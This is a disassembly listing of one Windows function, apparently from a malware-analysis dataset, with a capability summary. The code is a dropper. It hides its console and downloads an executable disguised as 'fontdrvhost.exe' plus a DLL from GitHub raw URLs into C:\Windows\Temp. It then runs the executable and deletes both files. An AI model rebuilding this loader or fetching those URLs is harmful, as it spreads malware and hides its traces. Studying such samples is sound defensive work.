Function at 0x1400026b0
Capabilities:
Create process on windows
Create thread
Delete file
Download url
Encode data using xor
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x170]
sub rsp, 0x270
mov rax, qword [0x140009040]
xor rax, rsp
mov qword [rbp + 0x160], rax
xor esi, esi
mov dword [rsp + 0x50], esi
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rdi, rax
lea edx, [rsi + 7]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea ecx, [rsi + 8]
call fcn.140004000
lea rcx, [0x140003e30]
mov qword [rax], rcx
mov qword [rbp + 0x58], rax
lea rcx, [rbp + 0x88]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], esi
mov r9, rax
lea r8, [0x140003e00]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x80], rax
test rax, rax
je 0x1400032cb
mov qword [0x140009a58], rsi
mov dword [0x140009a60], esi
mov byte [0x140009a64], sil
mov qword [0x1400097a8], rsi
mov word [0x1400097b0], si
mov byte [0x1400097b2], sil
xorps xmm0, xmm0
xor eax, eax
movups xmmword [0x140009a70], xmm0
movups xmmword [0x140009a80], xmm0
movups xmmword [0x140009a90], xmm0
movups xmmword [0x140009aa0], xmm0
mov byte [0x140009ab0], al
mov dword [0x1400097a0], eax
movups xmmword [0x1400097b8], xmm0
mov qword [0x1400097c8], rax
mov dword [0x1400097d0], eax
mov byte [0x1400097d4], al
movups xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], rsi
mov qword [rbp + 0xa8], 0xf
mov byte [rbp + 0x90], al
movups xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], rsi
mov qword [rbp + 0xc8], 0xf
mov byte [rbp + 0xb0], al
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], rsi
mov qword [rbp + 0xe8], 0xf
mov byte [rbp + 0xd0], al
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [rsi + 2]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov eax, dword [0x1400066f4]
mov dword [rsp + 0x50], eax
cmp byte [str.8ART_OIKSRXZ2A], sil
je 0x14000290d
cmp dword [0x140009088], 2
jl 0x1400028d4
movdqa xmm3, xmmword [0x140006760]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400067b0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400067b0]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x140006780]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140006790]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.5555555555555555]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x50], xmm2
jmp 0x14000290d
lea r8, [rsp + 0x50]
mov edi, esi
nop dword [rax + rax]
mov eax, 0x5397829d
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x31
movzx eax, dil
sub al, dl
add al, 0x35
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 4
jl 0x1400028e0
lea rdx, [rsp + 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003810
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov edx, 6
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
mov qword [rbp + 0x28], rsi
mov qword [rbp + 0x30], rsi
mov r8d, 0x10
lea rdx, str.C:WindowsTemp_
lea rcx, [rbp + 0x18]
call fcn.140003b80
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], rsi
mov qword [rbp + 0x78], rsi
mov r8d, 0xf
lea rdx, str.fontdrvhost.exe
lea rcx, [rbp + 0x60]
call fcn.140003b80
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x38], xmm0
mov qword [rbp + 0x48], rsi
mov qword [rbp + 0x50], rsi
mov r8d, 0xc
lea rdx, str.Guna.UI2.dll
lea rcx, [rbp + 0x38]
call fcn.140003b80
nop
lea r8, [rbp + 0x60]
lea rdx, [rbp + 0x18]
lea rcx, [rbp - 0x40]
call fcn.140003a20
mov rbx, rax
mov dword [rsp + 0x50], 0x41
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x48], rsi
mov r8d, 0x3d
lea rdx, str.https:__github.com_tdxczzz_loaderexe_raw_main_fontdrvhost.exe
lea rcx, [rbp - 0x60]
call fcn.140003b80
nop
mov edi, 0x43
mov dword [rsp + 0x50], edi
cmp qword [rbx + 0x18], 0xf
jbe 0x140002a04
mov rbx, qword [rbx]
lea rdx, [rbp - 0x60]
cmp qword [rbp - 0x48], 0xf
cmova rdx, qword [rbp - 0x60]
mov qword [rsp + 0x20], rsi
xor r9d, r9d
mov r8, rbx
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movabs rcx, 0x7fffffffffffffff
movabs rdx, 0x8000000000000000
mov r8d, 0x16
mov r12, qword [rbp + 0x28]
test eax, eax
jne 0x140002b9e
mov rax, rcx
sub rax, r12
mov r13, qword [rbp + 0x48]
cmp rax, r13
jb 0x1400032f5
lea r14, [rbp + 0x18]
cmp qword [rbp + 0x30], 0xf
cmova r14, qword [rbp + 0x18]
lea r15, [rbp + 0x38]
cmp qword [rbp + 0x50], 0xf
cmova r15, qword [rbp + 0x38]
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], rsi
lea rsi, [r12 + r13]
mov edi, 0xf
lea rbx, [rsp + 0x58]
cmp rsi, rdi
jbe 0x140002b0a
mov rdi, rsi
or rdi, 0xf
cmp rdi, rcx
jbe 0x140002ad1
mov rdi, rcx
lea rax, [rdx + 0x27]
mov rcx, rax
call fcn.140004000
test rax, rax
je 0x140002c34
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140002b05
cmp rdi, r8
cmovb rdi, r8
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140002af4
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400032e3
jmp 0x140002ab2
test rcx, rcx
je 0x140002b03
call fcn.140004000
mov rbx, rax
jmp 0x140002b05
xor ebx, ebx
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], rdi
mov r8, r12
mov rdx, r14
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + r12]
mov r8, r13
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rsi], 0
mov dword [rsp + 0x50], 0x147
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xor esi, esi
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], rsi
lea r8d, [rsi + 0x3a]
lea rdx, str.https:__github.com_tdxczzz_loaderdll_raw_main_Guna.UI2.dll
lea rcx, [rbp - 0x80]
call fcn.140003b80
mov edi, 0x14f
lea r8, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
cmova r8, qword [rsp + 0x58]
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova rdx, qword [rbp - 0x80]
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jne 0x140002b9e
xor bl, bl
jmp 0x140002ba0
mov bl, 1
test dil, 8
je 0x140002bf7
and edi, 0xfffffff7
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140002be7
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002be2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002be2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000427c
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], 0
test dil, 4
je 0x140002c53
and edi, 0xfffffffb
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x140002c40
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c3b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002c3b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000427c
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], 0xf
mov byte [rsp + 0x58], 0
test dil, 2
je 0x140002caa
and edi, 0xfffffffd
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x140002c9a
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c95
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002c95
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000427c
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], 0
test dil, 1
je 0x140002cf1
and edi, 0xfffffffe
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x140002cf1
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002cec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002cec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000427c
test bl, bl
je 0x140002d18
lea rdx, str.Error_1.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003810
lea rdx, [0x1400039e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r12
mov r14, qword [rbp + 0x70]
cmp rax, r14
jb 0x1400032fb
lea r13, [rbp + 0x18]
cmp qword [rbp + 0x30], 0xf
cmova r13, qword [rbp + 0x18]
lea rax, [rbp + 0x60]
cmp qword [rbp + 0x78], 0xf
cmova rax, qword [rbp + 0x60]
mov qword [rsp + 0x78], rax
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
mov qword [rbp + 8], rsi
mov qword [rbp + 0x10], rsi
lea r15, [r14 + r12]
mov ebx, 0xf
lea rsi, [rbp - 8]
cmp r15, rbx
jbe 0x140002df1
mov rbx, r15
or rbx, 0xf
cmp rbx, rcx
jbe 0x140002db3
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140004000
test rax, rax
je 0x1400031af
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140002ded
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140002ddc
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400032e9
jmp 0x140002d94
test rcx, rcx
je 0x140002deb
call fcn.140004000
mov rsi, rax
jmp 0x140002ded
xor esi, esi
mov qword [rbp - 8], rsi
mov qword [rbp + 8], r15
mov qword [rbp + 0x10], rbx
mov r8, r12
mov rdx, r13
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsi + r12]
mov r8, r14
mov rdx, qword [rsp + 0x78]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + r15], 0
bts edi, 7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xf4], xmm0
movups xmmword [rbp + 0x104], xmm0
movups xmmword [rbp + 0x114], xmm0
movups xmmword [rbp + 0x124], xmm0
movups xmmword [rbp + 0x134], xmm0
movups xmmword [rbp + 0x144], xmm0
mov dword [rbp + 0x154], eax
mov dword [rbp + 0xf0], 0x68
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 8]
cmp qword [rbp + 0x10], 0xf
cmova rdx, qword [rbp - 8]
lea rax, [rbp - 0x20]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0xf0]
mov qword [rsp + 0x40], rax
xor ebx, ebx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140002ed4
lea rdx, str.Error_2.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003810
lea rdx, [0x1400039e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, [rbp + 0x60]
lea rdx, [rbp + 0x18]
lea rcx, [rbp - 0x40]
call fcn.140003a20
nop
or edi, 0x10
mov dword [rsp + 0x50], edi
cmp qword [rax + 0x18], 0xf
jbe 0x140002f1a
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov r13, qword [rbp + 0x30]
mov r14, qword [rbp + 0x18]
test eax, eax
je 0x140003078
movabs r8, 0x7fffffffffffffff
mov rax, r8
mov r15, qword [rbp + 0x28]
sub rax, r15
mov rdx, qword [rbp + 0x48]
cmp rax, rdx
jb 0x1400032dd
lea rax, [rbp + 0x18]
cmp r13, 0xf
cmova rax, r14
mov qword [rsp + 0x78], rax
lea rcx, [rbp + 0x38]
cmp qword [rbp + 0x50], 0xf
cmova rcx, qword [rbp + 0x38]
mov qword [rbp + 0x58], rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], rbx
lea r12, [rdx + r15]
mov esi, 0xf
lea rbx, [rsp + 0x58]
cmp r12, rsi
jbe 0x140003025
mov rsi, r12
or rsi, 0xf
cmp rsi, r8
jbe 0x140002fe1
mov rsi, r8
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140004000
test rax, rax
je 0x1400030b7
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
mov rax, qword [rsp + 0x78]
jmp 0x140003020
cmp rsi, 0x16
mov ecx, 0x16
cmovb rsi, rcx
lea rcx, [rsi + 1]
cmp rcx, 0x1000
jb 0x14000300a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400032ef
jmp 0x140002fbd
test rcx, rcx
je 0x14000301e
call fcn.140004000
mov rbx, rax
mov rax, qword [rsp + 0x78]
jmp 0x140003020
xor ebx, ebx
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], rsi
mov r8, r15
mov rdx, rax
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [r15 + rbx]
mov r8, qword [rbp + 0x48]
mov rdx, qword [rbp + 0x58]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + r12], 0
or edi, 0x220
lea rcx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
cmova rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x140003078
xor bl, bl
jmp 0x14000307a
mov bl, 1
test dil, 0x20
je 0x1400030da
and edi, 0xffffffdf
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x1400030c3
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400030be
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400030be
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000427c
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0xf
mov byte [rsp + 0x58], 0
test dil, 0x10
je 0x14000311e
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x14000311e
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003119
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003119
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000427c
test bl, bl
je 0x14000314c
lea rdx, str.Error_3.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003810
lea rdx, [0x1400039e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edi, 1
jmp 0x14000317d
lea rdi, [rbp + 0xf0]
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
lea rdi, [rbp - 0x20]
mov ecx, 0x18
rep stosb byte [rdi], al
lea rdi, [rbp - 8]
cmp qword [rbp + 0x10], 0xf
cmova rdi, qword [rbp - 8]
mov rcx, qword [rbp + 8]
rep stosb byte [rdi], al
xor edi, edi
mov rdx, qword [rbp + 0x10]
cmp rdx, 0xf
jbe 0x1400031bb
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400031b6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400031b6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000427c
mov qword [rbp + 8], 0
mov qword [rbp + 0x10], 0xf
mov byte [rbp - 8], 0
mov rax, qword [rbp + 0x50]
cmp rax, 0xf
jbe 0x14000320f
lea rdx, [rax + 1]
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003209
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003209
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000427c
nop
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x14000324e
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003248
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003248
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000427c
nop
cmp r13, 0xf
jbe 0x140003289
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x140003280
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003280
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.14000427c
nop
cmp dword [rbp + 0x88], 0
je 0x140003299
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov eax, edi
mov rcx, qword [rbp + 0x160]
xor rcx, rsp
call fcn.140003fe0
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov dword [rbp + 0x88], esi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
call fcn.140001c20
nop
call fcn.140001b80
nop
call fcn.140001b80
nop
call fcn.140001b80
nop
call fcn.140001c20
nop
call fcn.140001c20
int3